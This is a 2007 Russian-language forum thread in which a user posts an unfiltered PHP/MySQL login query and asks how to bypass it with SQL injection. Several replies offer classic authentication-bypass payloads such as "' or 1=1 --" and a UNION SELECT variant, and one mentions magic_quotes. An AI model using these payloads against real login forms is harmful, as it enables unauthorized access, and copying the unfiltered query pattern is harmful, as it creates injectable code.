Сейчас на форуме: zds, Vicshann, surunnerr, cyberlabs, asfa (+8 невидимых)

 eXeL@B —› Оффтоп —› SQL injection
Посл.ответ Сообщение

Ранг: 159.1 (ветеран), 7thx
Активность: 0.130
Статус: Участник

Создано: 06 декабря 2007 15:59 · Поправил: tempread
· Личное сообщение · #1

Подскажите,кто "в теме", можно ли сделать иньекцию в таком коде:


$password=пароль,не фильтруется
$login=логин,не фильтруется

$password=md5($password);
$login=mysql_query("select * from usertable where username='$login' and password='$password'");
$check = mysql_num_rows($login);
if ($check>0) {
Мы авторизовались
};


Казалось бы, $login равный

abc' or 1=1 or 'a'='a

должен бы помочь, но не помогает...



Ранг: 36.1 (посетитель)
Активность: 0.010
Статус: Участник

Создано: 06 декабря 2007 16:37 · Поправил: Malice
· Личное сообщение · #2

А так ?
$login="abc' or 1=1 or '111'="
$password=" or 'a'='a"
ps а.. не, не пойдет



Ранг: 221.3 (наставник), 135thx
Активность: 0.190.07
Статус: Участник

Создано: 06 декабря 2007 21:26
· Личное сообщение · #3

Думою что можно. Дай сам скрипт.

-----
xchg dword [eax], eax




Ранг: 159.1 (ветеран), 7thx
Активность: 0.130
Статус: Участник

Создано: 07 декабря 2007 00:58 · Поправил: tempread
· Личное сообщение · #4

v0id2k
Так то что выше - это и есть скрипт авторизации.



Ранг: 210.5 (наставник), 2thx
Активность: 0.140
Статус: Участник

Создано: 07 декабря 2007 20:00 · Поправил: arnix
· Личное сообщение · #5

пробуй

abc' or 1=1 --

(abc' or 1=1[пробел][тире][тире][пробел])

p.s.
если и так не выйдет, значит на сервере включён magic_quotes и кавычки фильтруется автоматом



Ранг: 159.1 (ветеран), 7thx
Активность: 0.130
Статус: Участник

Создано: 07 декабря 2007 20:10 · Поправил: tempread
· Личное сообщение · #6

arnix
Не сработало... Видимо придется раскатать связку apache+php+mysql, и там пойму,в чем дело,чего не получается ничего сделать... Я вот думаю, может там magic_quotes активировано?



Ранг: 36.1 (посетитель)
Активность: 0.010
Статус: Участник

Создано: 07 декабря 2007 21:11
· Личное сообщение · #7

А вот так:
$login="abc' or 1=1 union select * from usertable where 'a'='a"




Ранг: 159.1 (ветеран), 7thx
Активность: 0.130
Статус: Участник

Создано: 07 декабря 2007 23:52
· Личное сообщение · #8

Malice
Проблема в том, что $login нигде не выводится, поэтому даже если и сработал бы код,то результат негде увидеть.


 eXeL@B —› Оффтоп —› SQL injection

У вас должно быть 20 пунктов ранга, чтобы оставлять сообщения в этом подфоруме, но у вас только 0

   Для печати Для печати